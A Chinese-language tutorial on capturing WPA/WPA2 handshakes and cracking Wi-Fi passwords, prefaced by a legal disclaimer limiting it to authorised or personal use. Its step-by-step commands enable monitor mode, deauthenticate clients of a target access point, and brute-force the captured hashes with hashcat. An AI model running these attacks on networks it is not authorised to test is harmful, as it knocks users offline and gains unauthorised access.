📡 WPA/WPA2 握手包捕获与密码恢复实战指南

 

—— 从监听抓包到 GPU 加速破解(Linux / macOS / Windows / WSL / Hashcat)
最后更新:2026年1月26日
⚠️ 法律声明:本文仅用于授权安全研究、CTF竞赛、密码恢复(如遗忘自家Wi-Fi密码)等合法场景。未经授权对他人网络实施扫描、攻击或破解,违反《中华人民共和国网络安全法》第27条及《刑法》第285条,将承担法律责任。


📚 目录

  1. 前置知识
  2. 环境准备
  3. 抓包阶段:捕获 WPA 四次握手
    • 3.1 Linux(推荐)
    • 3.2 macOS
    • 3.3 Windows / WSL2
  4. 破解阶段:密码恢复
    • 4.1 Aircrack-ng 字典攻击
    • 4.2 Hashcat GPU 加速(现代标准)
    • 4.3 格式转换工具(hcxpcapngtool
  5. 高级技巧与优化
  6. 善后与恢复
  7. 附录:资源与常见错误

1. 前置知识

🔑 WPA/WPA2 认证流程简述

  • WPA/WPA2 使用 四次握手(4-way handshake) 生成会话密钥(PTK),不直接传输密码。
  • 攻击目标:捕获该握手过程中的 EAPOL 数据包(含 ANonceSNonceMIC),用于离线验证密码。
  • 密码空间极大:8–63 字符(大小写字母+数字+符号),暴力破解成本极高 → 需依赖字典/规则/掩码 + GPU 加速

📁 关键文件格式

格式 用途 工具支持
.cap 原始抓包文件(含 Beacon、Probe、EAPOL) airodump-ngWireshark
.hc22000 Hashcat 专用 WPA2 哈希格式(含 PMKID/EAPOL 信息) hashcat -m 22000
.hccapx 旧版 Hashcat 格式(已弃用) ❌ 不推荐

✅ 现代标准:使用 hcxpcapngtool 直接导出 .hc22000,兼容 PMKID 与 EAPOL。


2. 环境准备

平台 推荐工具链 安装命令
Linux (Debian/Ubuntu/Kali) aircrack-nghcxtoolshashcat sudo apt install aircrack-ng hashcat``git clone https://github.com/ZerBea/hcxtools && make
macOS airporthomebrewaircrack-ng brew install aircrack-ng
Windows WSL2 + Linux 工具 或 原生 Aircrack-ng(限部分网卡) 下载 Aircrack-ng for Windows;或启用 WSL2
GPU 加速 NVIDIA (CUDA) / AMD (ROCm/OpenCL) 安装对应驱动 + hashcat

⚠️ 注意

  • 无线网卡需支持 Monitor Mode(如 Intel AX200、RTL8812AU、Alfa AWUS036ACH)
  • 虚拟机中 USB 网卡可能无法开启监听模式 → 建议物理机操作

3. 抓包阶段:捕获 WPA 四次握手

3.1 Linux(推荐流程)

步骤 1:安装与检查网卡

sudo apt update && sudo apt install aircrack-ng hcxtools
sudo airmon-ng

输出示例:

PHY	Interface	Driver		Chipset
phy0	wlp8s0		iwlwifi		Intel Centrino Wireless-N 2230

步骤 2:开启监听模式

sudo airmon-ng start wlp8s0
# 输出:wlp8s0mon 已创建

步骤 3:扫描目标 AP

sudo airodump-ng wlp8s0mon

📌 关注字段:

  • BSSID:AP MAC 地址
  • CH:信道(后续需指定)
  • PWR:信号强度(越接近 0 越强)
  • ENC:应为 WPA2
  • #Data:数据包数量(越高越易触发握手)

💡 技巧:按 Ctrl+C 退出前,记录目标 BSSID 与 CH。

步骤 4:定向捕获 + 触发握手

# 启动捕获(保存为 android-01.cap)
sudo airodump-ng -w android -c 6 --bssid 22:47:DA:62:2A:F0 wlp8s0mon

# 新终端:发送 DeAuth 包强制客户端重连
sudo aireplay-ng -0 0 -a 22:47:DA:62:2A:F0 -c AC:BC:32:96:31:8D wlp8s0mon

✅ 成功标志:airodump-ng 状态栏出现
[ WPA handshake: 22:47:DA:62:2A:F0 ]

步骤 5:停止监听

sudo airmon-ng stop wlp8s0mon

3.2 macOS(受限方案)

⚠️ airmon-ng 在 macOS 不可用;仅能通过 airport 抓包,无法主动触发握手,依赖自然连接事件

步骤 1:扫描网络

/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport en0 scan

输出示例:

SSID           BSSID                RSSI CHANNEL HT CC SECURITY
小米手机       22:47:da:62:2a:f0    -29  6       Y  -- WPA2(PSK/AES/AES)

步骤 2:抓包(自动保存至 /tmp/airportSniff*.cap

sudo /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport en0 sniff 6
# 按 Ctrl+C 停止

步骤 3:转换并破解(需在 Linux/WSL 中完成)

# 将 cap 传入 Linux 环境后:
hcxpcapngtool -o target.hc22000 /tmp/airportSniff*.cap
hashcat -m 22000 -a 0 target.hc22000 rockyou.txt

3.3 Windows / WSL2

方案 A:WSL2 + 物理 Linux 网卡(推荐)

  1. 在 Windows 主机启用 WSL2
  2. 将支持 Monitor Mode 的 USB 网卡直通给 WSL2(需 Windows 11 + 内核 5.10+)
  3. 在 WSL2 中执行完整 Linux 流程(同 §3.1)

方案 B:原生 Windows Aircrack-ng(局限性大)

  • 仅支持部分网卡(如 Alfa AWUS036NH)
  • 无 aireplay-ng DeAuth 功能(部分版本缺失)
  • 建议仅用于抓包,破解仍移交 Linux/Hashcat

4. 破解阶段:密码恢复

4.1 Aircrack-ng 字典攻击(CPU,适合小字典)

aircrack-ng -w ./wordlists/common.txt android-01.cap

输出示例:

KEY FOUND! [ 1234567890 ]
Master Key     : A8 70 17 ...

✅ 优点:简单直接;❌ 缺点:速度慢(~1–10 kH/s),仅适合弱口令(如 12345678


4.2 Hashcat GPU 加速(现代标准)

步骤 1:转换 .cap → .hc22000

# 推荐:使用 hcxpcapngtool(支持 PMKID + EAPOL)
hcxpcapngtool -o android.hc22000 android-01.cap

# 或旧版(不推荐)
cap2hccapx.bin android-01.cap android.hc22000

步骤 2:Hashcat 破解命令(新版语法)

攻击类型 命令示例 说明
字典攻击 hashcat -m 22000 -a 0 android.hc22000 rockyou.txt 最常用
规则增强 hashcat -m 22000 -a 0 android.hc22000 rockyou.txt -r rules/best64.rule 自动变形(如 password → Password123
掩码攻击 hashcat -m 22000 -a 3 android.hc22000 ?d{8,10} 8–10位纯数字
混合攻击 hashcat -m 22000 -a 6 android.hc22000 rockyou.txt ?d?d 字典+后缀数字

📊 性能参考(RTX 4090):

  • WPA2(PBKDF2-SHA1, 4096轮):≈ 250 kH/s
  • 10位纯数字(10¹⁰组合):≈ 11 小时
  • 实际中因网络波动/设备休眠,建议优先用字典+规则

步骤 3:查看结果

hashcat --show -m 22000 android.hc22000
# 输出:22:47:DA:62:2A:F0:AndroidAP:1234567890

5. 高级技巧与优化

🔍 使用 hcxdumptool 直接捕获(无需 DeAuth!)

# 优势:静默获取 PMKID(无需客户端在线)
sudo hcxdumptool -i wlp8s0mon -o capture.pcapng --enable_status=1
# 后续同样用 hcxpcapngtool 转换

🧩 字典策略优化

类型 推荐来源 说明
通用字典 rockyou.txt 14M 条常见密码
本地化字典 SecLists/Passwords/ 含中文、生日、手机号等
规则集 hashcat/rules/ best64.ruled3ad0ne.rule

🌐 分布式破解

  • 使用 hashcat -S + hashtopolis 管理多节点
  • 或脚本分片:?l?d{6} → 拆为 ?l?d{6} --skip=0 --limit=1000000

6. 善后与恢复

# 停止监听(Linux)
sudo airmon-ng stop wlp8s0mon

# 清理临时文件
rm *.cap *.hc22000 *.csv

# 检查网卡状态
iw dev wlp8s0 info  # 应显示 type managed

✅ 确保无线网卡恢复正常上网功能后再离开终端!


7. 附录:资源与常见错误

🔗 核心工具仓库

工具 链接
Aircrack-ng https://aircrack-ng.org
hcxtools https://github.com/ZerBea/hcxtools
Hashcat https://hashcat.net/hashcat/
SecLists(字典合集) https://github.com/danielmiessler/SecLists

❗ 常见错误排查

现象 原因 解决方案
No handshake captured 信道不匹配 / 客户端未重连 检查 -c 参数;用 hcxdumptool 替代
Invalid cap file 文件损坏 / 非 802.11 抓包 用 capinfos android-01.cap 检查
OpenCL error(Hashcat) 驱动不兼容 更新 NVIDIA/AMD 驱动;用 hashcat -I 查看设备
ioctl(SIOCSIWMODE) failed 网卡不支持 monitor mode 更换网卡(推荐 Alfa AWUS036ACH)

📌 最后提醒
安全是责任,不是能力的炫耀。
请始终遵守 最小权限原则 与 授权边界,让技术服务于防护,而非破坏


© 版权声明
THE END
喜欢就支持一下吧
点赞10 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片快捷回复

    暂无评论内容